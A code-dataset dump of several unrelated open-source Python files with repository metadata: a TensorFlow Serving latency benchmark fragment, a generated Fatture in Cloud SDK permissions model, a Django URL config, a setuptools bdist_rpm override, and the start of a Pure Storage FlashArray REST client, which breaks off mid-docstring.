tf.make_tensor_proto(image_np, shape=[FLAGS.batch_size, image_size, image_size, 3])) start_time = time.time() stub.Predict(request, 10.0) time_consume = time.time() - start_time print('Iteration %d: %.3f sec' % (i, time_consume)) if i > warm_up_iteration: total_time += time_consume time_average = total_time / (num_iteration - warm_up_iteration) print('Average time: %.3f sec' % (time_average)) print('Batch size = %d' % FLAGS.batch_size) if (FLAGS.batch_size == 1): print('Latency: %.3f ms' % (time_average * 1000)) print('Throughput: %.3f images/sec' % (FLAGS.batch_size / time_average)) if __name__ == '__main__': tf_v1.app.run()

true

f7325b9e40c3db2e572ba5e1f7ec33a8559aa03b

18,306

py

Python

fattureincloud_python_sdk/model/permissions.py

fattureincloud/fattureincloud-python-sdk

f3a40fac345751014ea389680efdaef90f03bac1

[ "MIT" ]

2

2022-02-17T08:33:17.000Z

2022-03-22T09:27:00.000Z

fattureincloud_python_sdk/model/permissions.py

fattureincloud/fattureincloud-python-sdk

f3a40fac345751014ea389680efdaef90f03bac1

[ "MIT" ]

null

fattureincloud_python_sdk/model/permissions.py

fattureincloud/fattureincloud-python-sdk

f3a40fac345751014ea389680efdaef90f03bac1

[ "MIT" ]

null

""" Fatture in Cloud API v2 - API Reference Connect your software with Fatture in Cloud, the invoicing platform chosen by more than 400.000 businesses in Italy. The Fatture in Cloud API is based on REST, and makes possible to interact with the user related data prior authorization via OAuth2 protocol. # noqa: E501 The version of the OpenAPI document: 2.0.15 Contact: info@fattureincloud.it Generated by: https://openapi-generator.tech """ import re # noqa: F401 import sys # noqa: F401 from fattureincloud_python_sdk.model_utils import ( # noqa: F401 ApiTypeError, ModelComposed, ModelNormal, ModelSimple, cached_property, change_keys_js_to_python, convert_js_args_to_python_args, date, datetime, file_type, none_type, validate_get_composed_info, OpenApiModel ) from fattureincloud_python_sdk.exceptions import ApiAttributeError def lazy_import(): from fattureincloud_python_sdk.model.permission_level import PermissionLevel from fattureincloud_python_sdk.model.permissions_fic_issued_documents_detailed import PermissionsFicIssuedDocumentsDetailed globals()['PermissionLevel'] = PermissionLevel globals()['PermissionsFicIssuedDocumentsDetailed'] = PermissionsFicIssuedDocumentsDetailed class Permissions(ModelNormal): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. Attributes: allowed_values (dict): The key is the tuple path to the attribute and the for var_name this is (var_name,). The value is a dict with a capitalized key describing the allowed value and an allowed value. These dicts store the allowed enum values. attribute_map (dict): The key is attribute name and the value is json key in definition. discriminator_value_class_map (dict): A dict to go from the discriminator variable value to the discriminator class name. validations (dict): The key is the tuple path to the attribute and the for var_name this is (var_name,). The value is a dict that stores validations for max_length, min_length, max_items, min_items, exclusive_maximum, inclusive_maximum, exclusive_minimum, inclusive_minimum, and regex. additional_properties_type (tuple): A tuple of classes accepted as additional properties values. """ allowed_values = { } validations = { } @cached_property def additional_properties_type(): """ This must be a method because a model may have properties that are of type self, this must run after the class is loaded """ lazy_import() return (bool, date, datetime, dict, float, int, list, str, none_type,) # noqa: E501 _nullable = True @cached_property def openapi_types(): """ This must be a method because a model may have properties that are of type self, this must run after the class is loaded Returns openapi_types (dict): The key is attribute name and the value is attribute type. """ lazy_import() return { 'fic_situation': (PermissionLevel,), # noqa: E501 'fic_clients': (PermissionLevel,), # noqa: E501 'fic_suppliers': (PermissionLevel,), # noqa: E501 'fic_products': (PermissionLevel,), # noqa: E501 'fic_issued_documents': (PermissionLevel,), # noqa: E501 'fic_received_documents': (PermissionLevel,), # noqa: E501 'fic_receipts': (PermissionLevel,), # noqa: E501 'fic_calendar': (PermissionLevel,), # noqa: E501 'fic_archive': (PermissionLevel,), # noqa: E501 'fic_taxes': (PermissionLevel,), # noqa: E501 'fic_stock': (PermissionLevel,), # noqa: E501 'fic_cashbook': (PermissionLevel,), # noqa: E501 'fic_settings': (PermissionLevel,), # noqa: E501 'fic_emails': (PermissionLevel,), # noqa: E501 'fic_export': (PermissionLevel,), # noqa: E501 'fic_import_bankstatements': (PermissionLevel,), # noqa: E501 'fic_import_clients_suppliers': (PermissionLevel,), # noqa: E501 'fic_import_issued_documents': (PermissionLevel,), # noqa: E501 'fic_import_products': (PermissionLevel,), # noqa: E501 'fic_recurring': (PermissionLevel,), # noqa: E501 'fic_riba': (PermissionLevel,), # noqa: E501 'dic_employees': (PermissionLevel,), # noqa: E501 'dic_settings': (PermissionLevel,), # noqa: E501 'dic_timesheet': (PermissionLevel,), # noqa: E501 'fic_issued_documents_detailed': (PermissionsFicIssuedDocumentsDetailed,), # noqa: E501 } @cached_property def discriminator(): return None attribute_map = { 'fic_situation': 'fic_situation', # noqa: E501 'fic_clients': 'fic_clients', # noqa: E501 'fic_suppliers': 'fic_suppliers', # noqa: E501 'fic_products': 'fic_products', # noqa: E501 'fic_issued_documents': 'fic_issued_documents', # noqa: E501 'fic_received_documents': 'fic_received_documents', # noqa: E501 'fic_receipts': 'fic_receipts', # noqa: E501 'fic_calendar': 'fic_calendar', # noqa: E501 'fic_archive': 'fic_archive', # noqa: E501 'fic_taxes': 'fic_taxes', # noqa: E501 'fic_stock': 'fic_stock', # noqa: E501 'fic_cashbook': 'fic_cashbook', # noqa: E501 'fic_settings': 'fic_settings', # noqa: E501 'fic_emails': 'fic_emails', # noqa: E501 'fic_export': 'fic_export', # noqa: E501 'fic_import_bankstatements': 'fic_import_bankstatements', # noqa: E501 'fic_import_clients_suppliers': 'fic_import_clients_suppliers', # noqa: E501 'fic_import_issued_documents': 'fic_import_issued_documents', # noqa: E501 'fic_import_products': 'fic_import_products', # noqa: E501 'fic_recurring': 'fic_recurring', # noqa: E501 'fic_riba': 'fic_riba', # noqa: E501 'dic_employees': 'dic_employees', # noqa: E501 'dic_settings': 'dic_settings', # noqa: E501 'dic_timesheet': 'dic_timesheet', # noqa: E501 'fic_issued_documents_detailed': 'fic_issued_documents_detailed', # noqa: E501 } read_only_vars = { } _composed_schemas = {} @classmethod @convert_js_args_to_python_args def _from_openapi_data(cls, *args, **kwargs): # noqa: E501 """Permissions - a model defined in OpenAPI Keyword Args: _check_type (bool): if True, values for parameters in openapi_types will be type checked and a TypeError will be raised if the wrong type is input. Defaults to True _path_to_item (tuple/list): This is a list of keys or values to drill down to the model in received_data when deserializing a response _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _configuration (Configuration): the instance to use when deserializing a file_type parameter. If passed, type conversion is attempted If omitted no type conversion is done. _visited_composed_classes (tuple): This stores a tuple of classes that we have traveled through so that if we see that class again we will not use its discriminator again. When traveling through a discriminator, the composed schema that is is traveled through is added to this set. For example if Animal has a discriminator petType and we pass in "Dog", and the class Dog allOf includes Animal, we move through Animal once using the discriminator, and pick Dog. Then in Dog, we will make an instance of the Animal class but this time we won't travel through its discriminator because we passed in _visited_composed_classes = (Animal,) fic_situation (PermissionLevel): [optional] # noqa: E501 fic_clients (PermissionLevel): [optional] # noqa: E501 fic_suppliers (PermissionLevel): [optional] # noqa: E501 fic_products (PermissionLevel): [optional] # noqa: E501 fic_issued_documents (PermissionLevel): [optional] # noqa: E501 fic_received_documents (PermissionLevel): [optional] # noqa: E501 fic_receipts (PermissionLevel): [optional] # noqa: E501 fic_calendar (PermissionLevel): [optional] # noqa: E501 fic_archive (PermissionLevel): [optional] # noqa: E501 fic_taxes (PermissionLevel): [optional] # noqa: E501 fic_stock (PermissionLevel): [optional] # noqa: E501 fic_cashbook (PermissionLevel): [optional] # noqa: E501 fic_settings (PermissionLevel): [optional] # noqa: E501 fic_emails (PermissionLevel): [optional] # noqa: E501 fic_export (PermissionLevel): [optional] # noqa: E501 fic_import_bankstatements (PermissionLevel): [optional] # noqa: E501 fic_import_clients_suppliers (PermissionLevel): [optional] # noqa: E501 fic_import_issued_documents (PermissionLevel): [optional] # noqa: E501 fic_import_products (PermissionLevel): [optional] # noqa: E501 fic_recurring (PermissionLevel): [optional] # noqa: E501 fic_riba (PermissionLevel): [optional] # noqa: E501 dic_employees (PermissionLevel): [optional] # noqa: E501 dic_settings (PermissionLevel): [optional] # noqa: E501 dic_timesheet (PermissionLevel): [optional] # noqa: E501 fic_issued_documents_detailed (PermissionsFicIssuedDocumentsDetailed): [optional] # noqa: E501 """ _check_type = kwargs.pop('_check_type', True) _spec_property_naming = kwargs.pop('_spec_property_naming', False) _path_to_item = kwargs.pop('_path_to_item', ()) _configuration = kwargs.pop('_configuration', None) _visited_composed_classes = kwargs.pop('_visited_composed_classes', ()) self = super(OpenApiModel, cls).__new__(cls) if args: raise ApiTypeError( "Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % ( args, self.__class__.__name__, ), path_to_item=_path_to_item, valid_classes=(self.__class__,), ) self._data_store = {} self._check_type = _check_type self._spec_property_naming = _spec_property_naming self._path_to_item = _path_to_item self._configuration = _configuration self._visited_composed_classes = _visited_composed_classes + (self.__class__,) for var_name, var_value in kwargs.items(): if var_name not in self.attribute_map and \ self._configuration is not None and \ self._configuration.discard_unknown_keys and \ self.additional_properties_type is None: # discard variable. continue setattr(self, var_name, var_value) return self required_properties = set([ '_data_store', '_check_type', '_spec_property_naming', '_path_to_item', '_configuration', '_visited_composed_classes', ]) @convert_js_args_to_python_args def __init__(self, *args, **kwargs): # noqa: E501 """Permissions - a model defined in OpenAPI Keyword Args: _check_type (bool): if True, values for parameters in openapi_types will be type checked and a TypeError will be raised if the wrong type is input. Defaults to True _path_to_item (tuple/list): This is a list of keys or values to drill down to the model in received_data when deserializing a response _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _configuration (Configuration): the instance to use when deserializing a file_type parameter. If passed, type conversion is attempted If omitted no type conversion is done. _visited_composed_classes (tuple): This stores a tuple of classes that we have traveled through so that if we see that class again we will not use its discriminator again. When traveling through a discriminator, the composed schema that is is traveled through is added to this set. For example if Animal has a discriminator petType and we pass in "Dog", and the class Dog allOf includes Animal, we move through Animal once using the discriminator, and pick Dog. Then in Dog, we will make an instance of the Animal class but this time we won't travel through its discriminator because we passed in _visited_composed_classes = (Animal,) fic_situation (PermissionLevel): [optional] # noqa: E501 fic_clients (PermissionLevel): [optional] # noqa: E501 fic_suppliers (PermissionLevel): [optional] # noqa: E501 fic_products (PermissionLevel): [optional] # noqa: E501 fic_issued_documents (PermissionLevel): [optional] # noqa: E501 fic_received_documents (PermissionLevel): [optional] # noqa: E501 fic_receipts (PermissionLevel): [optional] # noqa: E501 fic_calendar (PermissionLevel): [optional] # noqa: E501 fic_archive (PermissionLevel): [optional] # noqa: E501 fic_taxes (PermissionLevel): [optional] # noqa: E501 fic_stock (PermissionLevel): [optional] # noqa: E501 fic_cashbook (PermissionLevel): [optional] # noqa: E501 fic_settings (PermissionLevel): [optional] # noqa: E501 fic_emails (PermissionLevel): [optional] # noqa: E501 fic_export (PermissionLevel): [optional] # noqa: E501 fic_import_bankstatements (PermissionLevel): [optional] # noqa: E501 fic_import_clients_suppliers (PermissionLevel): [optional] # noqa: E501 fic_import_issued_documents (PermissionLevel): [optional] # noqa: E501 fic_import_products (PermissionLevel): [optional] # noqa: E501 fic_recurring (PermissionLevel): [optional] # noqa: E501 fic_riba (PermissionLevel): [optional] # noqa: E501 dic_employees (PermissionLevel): [optional] # noqa: E501 dic_settings (PermissionLevel): [optional] # noqa: E501 dic_timesheet (PermissionLevel): [optional] # noqa: E501 fic_issued_documents_detailed (PermissionsFicIssuedDocumentsDetailed): [optional] # noqa: E501 """ _check_type = kwargs.pop('_check_type', True) _spec_property_naming = kwargs.pop('_spec_property_naming', False) _path_to_item = kwargs.pop('_path_to_item', ()) _configuration = kwargs.pop('_configuration', None) _visited_composed_classes = kwargs.pop('_visited_composed_classes', ()) if args: raise ApiTypeError( "Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % ( args, self.__class__.__name__, ), path_to_item=_path_to_item, valid_classes=(self.__class__,), ) self._data_store = {} self._check_type = _check_type self._spec_property_naming = _spec_property_naming self._path_to_item = _path_to_item self._configuration = _configuration self._visited_composed_classes = _visited_composed_classes + (self.__class__,) for var_name, var_value in kwargs.items(): if var_name not in self.attribute_map and \ self._configuration is not None and \ self._configuration.discard_unknown_keys and \ self.additional_properties_type is None: # discard variable. continue setattr(self, var_name, var_value) if var_name in self.read_only_vars: raise ApiAttributeError(f"`{var_name}` is a read-only attribute. Use `from_openapi_data` to instantiate " f"class with read only attributes.")

50.709141

278

0.60106

import re import sys from fattureincloud_python_sdk.model_utils import ( ApiTypeError, ModelComposed, ModelNormal, ModelSimple, cached_property, change_keys_js_to_python, convert_js_args_to_python_args, date, datetime, file_type, none_type, validate_get_composed_info, OpenApiModel ) from fattureincloud_python_sdk.exceptions import ApiAttributeError def lazy_import(): from fattureincloud_python_sdk.model.permission_level import PermissionLevel from fattureincloud_python_sdk.model.permissions_fic_issued_documents_detailed import PermissionsFicIssuedDocumentsDetailed globals()['PermissionLevel'] = PermissionLevel globals()['PermissionsFicIssuedDocumentsDetailed'] = PermissionsFicIssuedDocumentsDetailed class Permissions(ModelNormal): allowed_values = { } validations = { } @cached_property def additional_properties_type(): lazy_import() return (bool, date, datetime, dict, float, int, list, str, none_type,) _nullable = True @cached_property def openapi_types(): lazy_import() return { 'fic_situation': (PermissionLevel,), 'fic_clients': (PermissionLevel,), 'fic_suppliers': (PermissionLevel,), 'fic_products': (PermissionLevel,), 'fic_issued_documents': (PermissionLevel,), 'fic_received_documents': (PermissionLevel,), 'fic_receipts': (PermissionLevel,), 'fic_calendar': (PermissionLevel,), 'fic_archive': (PermissionLevel,), 'fic_taxes': (PermissionLevel,), 'fic_stock': (PermissionLevel,), 'fic_cashbook': (PermissionLevel,), 'fic_settings': (PermissionLevel,), 'fic_emails': (PermissionLevel,), 'fic_export': (PermissionLevel,), 'fic_import_bankstatements': (PermissionLevel,), 'fic_import_clients_suppliers': (PermissionLevel,), 'fic_import_issued_documents': (PermissionLevel,), 'fic_import_products': (PermissionLevel,), 'fic_recurring': (PermissionLevel,), 'fic_riba': (PermissionLevel,), 'dic_employees': (PermissionLevel,), 'dic_settings': (PermissionLevel,), 'dic_timesheet': (PermissionLevel,), 'fic_issued_documents_detailed': (PermissionsFicIssuedDocumentsDetailed,), } @cached_property def discriminator(): return None attribute_map = { 'fic_situation': 'fic_situation', 'fic_clients': 'fic_clients', 'fic_suppliers': 'fic_suppliers', 'fic_products': 'fic_products', 'fic_issued_documents': 'fic_issued_documents', 'fic_received_documents': 'fic_received_documents', 'fic_receipts': 'fic_receipts', 'fic_calendar': 'fic_calendar', 'fic_archive': 'fic_archive', 'fic_taxes': 'fic_taxes', 'fic_stock': 'fic_stock', 'fic_cashbook': 'fic_cashbook', 'fic_settings': 'fic_settings', 'fic_emails': 'fic_emails', 'fic_export': 'fic_export', 'fic_import_bankstatements': 'fic_import_bankstatements', 'fic_import_clients_suppliers': 'fic_import_clients_suppliers', 'fic_import_issued_documents': 'fic_import_issued_documents', 'fic_import_products': 'fic_import_products', 'fic_recurring': 'fic_recurring', 'fic_riba': 'fic_riba', 'dic_employees': 'dic_employees', 'dic_settings': 'dic_settings', 'dic_timesheet': 'dic_timesheet', 'fic_issued_documents_detailed': 'fic_issued_documents_detailed', } read_only_vars = { } _composed_schemas = {} @classmethod @convert_js_args_to_python_args def _from_openapi_data(cls, *args, **kwargs): _check_type = kwargs.pop('_check_type', True) _spec_property_naming = kwargs.pop('_spec_property_naming', False) _path_to_item = kwargs.pop('_path_to_item', ()) _configuration = kwargs.pop('_configuration', None) _visited_composed_classes = kwargs.pop('_visited_composed_classes', ()) self = super(OpenApiModel, cls).__new__(cls) if args: raise ApiTypeError( "Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % ( args, self.__class__.__name__, ), path_to_item=_path_to_item, valid_classes=(self.__class__,), ) self._data_store = {} self._check_type = _check_type self._spec_property_naming = _spec_property_naming self._path_to_item = _path_to_item self._configuration = _configuration self._visited_composed_classes = _visited_composed_classes + (self.__class__,) for var_name, var_value in kwargs.items(): if var_name not in self.attribute_map and \ self._configuration is not None and \ self._configuration.discard_unknown_keys and \ self.additional_properties_type is None: continue setattr(self, var_name, var_value) return self required_properties = set([ '_data_store', '_check_type', '_spec_property_naming', '_path_to_item', '_configuration', '_visited_composed_classes', ]) @convert_js_args_to_python_args def __init__(self, *args, **kwargs): _check_type = kwargs.pop('_check_type', True) _spec_property_naming = kwargs.pop('_spec_property_naming', False) _path_to_item = kwargs.pop('_path_to_item', ()) _configuration = kwargs.pop('_configuration', None) _visited_composed_classes = kwargs.pop('_visited_composed_classes', ()) if args: raise ApiTypeError( "Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % ( args, self.__class__.__name__, ), path_to_item=_path_to_item, valid_classes=(self.__class__,), ) self._data_store = {} self._check_type = _check_type self._spec_property_naming = _spec_property_naming self._path_to_item = _path_to_item self._configuration = _configuration self._visited_composed_classes = _visited_composed_classes + (self.__class__,) for var_name, var_value in kwargs.items(): if var_name not in self.attribute_map and \ self._configuration is not None and \ self._configuration.discard_unknown_keys and \ self.additional_properties_type is None: continue setattr(self, var_name, var_value) if var_name in self.read_only_vars: raise ApiAttributeError(f"`{var_name}` is a read-only attribute. Use `from_openapi_data` to instantiate " f"class with read only attributes.")

true

f7325bdb93b55decc83345de041763385b298627

847

py

Python

arboretum_project/arboretum_project/urls.py

m-libbrecht/django-arboretum

11b97254ed9885b03d25d99188157c3f79a14a4f

[ "MIT" ]

null

arboretum_project/arboretum_project/urls.py

m-libbrecht/django-arboretum

11b97254ed9885b03d25d99188157c3f79a14a4f

[ "MIT" ]

null

arboretum_project/arboretum_project/urls.py

m-libbrecht/django-arboretum

11b97254ed9885b03d25d99188157c3f79a14a4f

[ "MIT" ]

null

"""arboretum URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.8/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Add an import: from blog import urls as blog_urls 2. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls)) """ from django.conf.urls import include, url from django.contrib import admin from demoapp.views import TreeView urlpatterns = [ url(r'^$', TreeView.as_view(), name='home'), url(r'^admin/', include(admin.site.urls)), ]

30.25

77

0.700118

from django.conf.urls import include, url from django.contrib import admin from demoapp.views import TreeView urlpatterns = [ url(r'^$', TreeView.as_view(), name='home'), url(r'^admin/', include(admin.site.urls)), ]

true

f7325c79a928bd9ff8953a9a81a3e2e12fa93031

855

py

Python

python3-virtualenv/lib/python3.8/site-packages/setuptools/command/bdist_rpm.py

bbalkaransingh23888/OrientationHack

7eae6cce1226112c000ea8a175f6dc5a82ee0ac2

[ "MIT" ]

null

python3-virtualenv/lib/python3.8/site-packages/setuptools/command/bdist_rpm.py

bbalkaransingh23888/OrientationHack

7eae6cce1226112c000ea8a175f6dc5a82ee0ac2

[ "MIT" ]

null

python3-virtualenv/lib/python3.8/site-packages/setuptools/command/bdist_rpm.py

bbalkaransingh23888/OrientationHack

7eae6cce1226112c000ea8a175f6dc5a82ee0ac2

[ "MIT" ]

null

import distutils.command.bdist_rpm as orig class bdist_rpm(orig.bdist_rpm): """ Override the default bdist_rpm behavior to do the following: 1. Run egg_info to ensure the name and version are properly calculated. 2. Always run 'install' using --single-version-externally-managed to disable eggs in RPM distributions. """ def run(self): # ensure distro name is up-to-date self.run_command("egg_info") orig.bdist_rpm.run(self) def _make_spec_file(self): spec = orig.bdist_rpm._make_spec_file(self) spec = [ line.replace( "setup.py install ", "setup.py install --single-version-externally-managed ", ).replace("%setup", "%setup -n %{name}-%{unmangled_version}") for line in spec ] return spec

29.482759

75

0.617544

import distutils.command.bdist_rpm as orig class bdist_rpm(orig.bdist_rpm): def run(self): self.run_command("egg_info") orig.bdist_rpm.run(self) def _make_spec_file(self): spec = orig.bdist_rpm._make_spec_file(self) spec = [ line.replace( "setup.py install ", "setup.py install --single-version-externally-managed ", ).replace("%setup", "%setup -n %{name}-%{unmangled_version}") for line in spec ] return spec

true

f7325c9bd6d6204726d8f2c239e94b0f13af7be3

83,032

py

Python

purestorage/purestorage.py

kjetijor/rest-client

43934a78e95e9719584a66189e4c4851eeb9ebaf

[ "BSD-2-Clause" ]

null

purestorage/purestorage.py

kjetijor/rest-client

43934a78e95e9719584a66189e4c4851eeb9ebaf

[ "BSD-2-Clause" ]

null

purestorage/purestorage.py

kjetijor/rest-client

43934a78e95e9719584a66189e4c4851eeb9ebaf

[ "BSD-2-Clause" ]

null

""" This library provides an easy way to script administration tasks for the Pure Storage FlashArray. When passing arguments to methods that take \*\*kwargs, the exact parameters that can be passed can be found in the REST API guide for the given release of Purity running on the FlashArray. """ import json import requests from distutils.version import LooseVersion # The current version of this library. VERSION = "1.11.3" class FlashArray(object): """Represents a Pure Storage FlashArray and exposes administrative APIs. :param target: IP address or domain name of the target array's management interface. :type target: str :param username: Username of the user with which to log in. :type username: str, optional :param password: Password of the user with which to log in. :type password: str, optional :param api_token: API token of the user with which to log in. :type api_token: str, optional :param rest_version: REST API version to use when communicating with target array. :type rest_version: str, optional :param verify_https: Enable SSL certificate verification for HTTPS requests. :type verify_https: bool, optional :param ssl_cert: Path to SSL certificate or CA Bundle file. Ignored if verify_https=False. :type ssl_cert: str, optional :param user_agent: String to be used as the HTTP User-Agent for requests. :type user_agent: str, optional :raises: :class:`PureError` - If the target array cannot be found. - If the target array does not support any of the REST versions used by this library. - If the username and password or api_token are invalid. :raises: :class:`ValueError` - If no api_token or username and password are specified. - If an api_token and a username or password are specified. - If the specified rest_version is not supported by this library or by the target array. .. note:: The FlashArray constructor requires either a username and password or an api_token but not both. .. note:: If a rest_version is not specified, the FlashArray object uses the highest REST API version supported by both the target array and this library. If the REST API version should become deprecated during the lifetime of the FlashArray object, the object renegotiates a REST version to use and continues running. .. note:: If a rest_version is specified, that version is used so long as it is supported by both the target array and this library. In this case, the FlashArray object does not attempt to renegotiate the REST API version. """ supported_rest_versions = [ "1.11", "1.10", "1.9", "1.8", "1.7", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0", ] def __init__(self, target, username=None, password=None, api_token=None, rest_version=None, verify_https=False, ssl_cert=None, user_agent=None): if not api_token and not (username and password): raise ValueError( "Must specify API token or both username and password.") elif api_token and (username or password): raise ValueError( "Specify only API token or both username and password.") self._cookies = {} self._target = target self._renegotiate_rest_version = False if rest_version else True self._verify_https = verify_https self._ssl_cert = ssl_cert self._user_agent = user_agent self._rest_version = rest_version if self._rest_version: self._rest_version = self._check_rest_version(rest_version) else: self._rest_version = self._choose_rest_version() self._api_token = (api_token or self._obtain_api_token(username, password)) self._start_session() def _request(self, method, path, data=None, reestablish_session=True): """Perform HTTP request for REST API.""" if path.startswith("https://"): url = path # For cases where URL of different form is needed. else: url = "https://{0}/api/{1}/{2}".format( self._target, self._rest_version, path) headers = {"Content-Type": "application/json"} if self._user_agent: headers['User-Agent'] = self._user_agent body = json.dumps(data).encode("utf-8") verify = False if self._verify_https: if self._ssl_cert: verify = self._ssl_cert else: verify = True try: response = requests.request(method, url, data=body, headers=headers, cookies=self._cookies, verify=verify) except requests.exceptions.RequestException as err: # error outside scope of HTTP status codes # e.g. unable to resolve domain name raise PureError(err.message) if response.status_code == 200: if "application/json" in response.headers.get("Content-Type", ""): if response.cookies: self._cookies.update(response.cookies) else: self._cookies.clear() content = response.json() if isinstance(content, list): content = ResponseList(content) elif isinstance(content, dict): content = ResponseDict(content) content.headers = response.headers return content raise PureError("Response not in JSON: " + response.text) elif response.status_code == 401 and reestablish_session: self._start_session() return self._request(method, path, data, False) elif response.status_code == 450 and self._renegotiate_rest_version: # Purity REST API version is incompatible. old_version = self._rest_version self._rest_version = self._choose_rest_version() if old_version == self._rest_version: # Got 450 error, but the rest version was supported # Something really unexpected happened. raise PureHTTPError(self._target, str(self._rest_version), response) return self._request(method, path, data, reestablish_session) else: raise PureHTTPError(self._target, str(self._rest_version), response) # # REST API session management methods # def _check_rest_version(self, version): """Validate a REST API version is supported by the library and target array.""" version = str(version) if version not in self.supported_rest_versions: msg = "Library is incompatible with REST API version {0}" raise ValueError(msg.format(version)) array_rest_versions = self._list_available_rest_versions() if version not in array_rest_versions: msg = "Array is incompatible with REST API version {0}" raise ValueError(msg.format(version)) return LooseVersion(version) def _choose_rest_version(self): """Return the newest REST API version supported by target array.""" versions = self._list_available_rest_versions() versions = [LooseVersion(x) for x in versions if x in self.supported_rest_versions] if versions: return max(versions) else: raise PureError( "Library is incompatible with all REST API versions supported" "by the target array.") def _list_available_rest_versions(self): """Return a list of the REST API versions supported by the array""" url = "https://{0}/api/api_version".format(self._target) data = self._request("GET", url, reestablish_session=False) return data["version"] def _obtain_api_token(self, username, password): """Use username and password to obtain and return an API token.""" data = self._request("POST", "auth/apitoken", {"username": username, "password": password}, reestablish_session=False) return data["api_token"] def _start_session(self): """Start a REST API session.""" self._request("POST", "auth/session", {"api_token": self._api_token}, reestablish_session=False) def get_rest_version(self): """Get the REST API version being used by this object. :returns: The REST API version. :rtype: str """ return str(self._rest_version) def invalidate_cookie(self): """End the REST API session by invalidating the current session cookie. .. note:: Calling any other methods again creates a new cookie. This method is intended to be called when the FlashArray object is no longer needed. """ self._request("DELETE", "auth/session") # # Array management methods # def _set_console_lock(self, **kwargs): return self._request("PUT", "array/console_lock", kwargs) def enable_console_lock(self): """Enable root lockout from the array at the physical console. :returns: A dictionary mapping "console_lock" to "enabled". :rtype: ResponseDict """ return self._set_console_lock(enabled=True) def disable_console_lock(self): """Disable root lockout from the array at the physical console. :returns: A dictionary mapping "console_lock" to "disabled". :rtype: ResponseDict """ return self._set_console_lock(enabled=False) def get(self, **kwargs): """Get array attributes. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET array** :type \*\*kwargs: optional :returns: A dictionary describing the array or a list of dictionaries describing multiple array attributes, depending on the arguments passed in. :rtype: ResponseDict or ResponseList """ return self._request("GET", "array", kwargs) def get_console_lock_status(self): """Get console-lock status of the array. :returns: A dictionary mapping "console_lock" to "enabled" if console_lock is enabled, else "disabled". :rtype: ResponseDict """ return self._request("GET", "array/console_lock") def rename(self, name): """Rename the array. :param name: The new name for the array. :param type: str :returns: A dictionary mapping "array_name" to name. :rtype: ResponseDict """ return self.set(name=name) def set(self, **kwargs): """Set array attributes. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **PUT array** :type \*\*kwargs: optional :returns: A dictionary mapping the parameter that was set to its new value. :rtype: ResponseDict """ return self._request("PUT", "array", kwargs) # # Volume and snapshot management methods # def _set_volume(self, volume, **kwargs): """Perform actions on a volume and return a dictionary describing it.""" return self._request("PUT", "volume/{0}".format(volume), kwargs) def create_snapshot(self, volume, **kwargs): """Create a snapshot of the given volume. :param volume: Name of the volume of which to take a snapshot. :type volume: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST volume** :type \*\*kwargs: optional :returns: A dictionary describing the new snapshot. :rtype: ResponseDict """ return self.create_snapshots([volume], **kwargs)[0] def create_snapshots(self, volumes, **kwargs): """Create snapshots of the listed volumes. :param volumes: List of names of the volumes to snapshot. :type volumes: list of str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST volume** :type \*\*kwargs: optional :returns: A list of dictionaries describing the new snapshots. :rtype: ResponseDict """ data = {"source": volumes, "snap": True} data.update(kwargs) return self._request("POST", "volume", data) def create_volume(self, volume, size): """Create a volume and return a dictionary describing it. :param volume: Name of the volume to be created. :type volume: str :param size: Size in bytes, or string representing the size of the volume to be created. :type size: int or str :returns: A dictionary describing the created volume. :rtype: ResponseDict .. note:: The maximum volume size supported is 4 petabytes (4 * 2^50). .. note:: If size is an int, it must be a multiple of 512. .. note:: If size is a string, it must consist of an integer followed by a valid suffix. Accepted Suffixes ====== ======== ====== Suffix Size Bytes ====== ======== ====== S Sector (2^9) K Kilobyte (2^10) M Megabyte (2^20) G Gigabyte (2^30) T Terabyte (2^40) P Petabyte (2^50) ====== ======== ====== """ return self._request("POST", "volume/{0}".format(volume), {"size":size}) def copy_volume(self, source, dest, **kwargs): """Clone a volume and return a dictionary describing the new volume. :param source: Name of the source volume. :type source: str :param dest: Name of the destination volume. :type dest: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST volume/:volume** :type \*\*kwargs: optional :returns: A dictionary describing the destination volume. :rtype: ResponseDict """ data = {"source": source} data.update(kwargs) return self._request("POST", "volume/{0}".format(dest), data) def destroy_volume(self, volume): """Destroy an existing volume or snapshot. :param volume: Name of the volume to be destroyed. :type volume: str :returns: A dictionary mapping "name" to volume. :rtype: ResponseDict .. warnings also:: This operation may cause a loss of data. The destroyed volume can be recovered during the 24 hours immediately following its destruction unless it is eradicated before then. """ return self._request("DELETE", "volume/{0}".format(volume)) def eradicate_volume(self, volume): """Eradicate a destroyed volume or snapshot. :param volume: Name of the volume to be eradicated. :type volume: str :returns: A dictionary mapping "name" to volume. :rtype: ResponseDict .. note:: This operation fails if volume is not destroyed. .. warnings also:: This operation may permanently erase data and the volume cannot be recovered. """ return self._request("DELETE", "volume/{0}".format(volume), {"eradicate": True}) def extend_volume(self, volume, size): """Extend a volume to a new, larger size. :param volume: Name of the volume to be extended. :type volume: str :type size: int or str :param size: Size in bytes, or string representing the size of the volume to be created. :returns: A dictionary mapping "name" to volume and "size" to the volume's new size in bytes. :rtype: ResponseDict .. note:: The new size must be larger than the volume's old size. .. note:: The maximum volume size supported is 4 petabytes (4 * 2^50). .. note:: If size is an int, it must be a multiple of 512. .. note:: If size is a string, it must consist of an 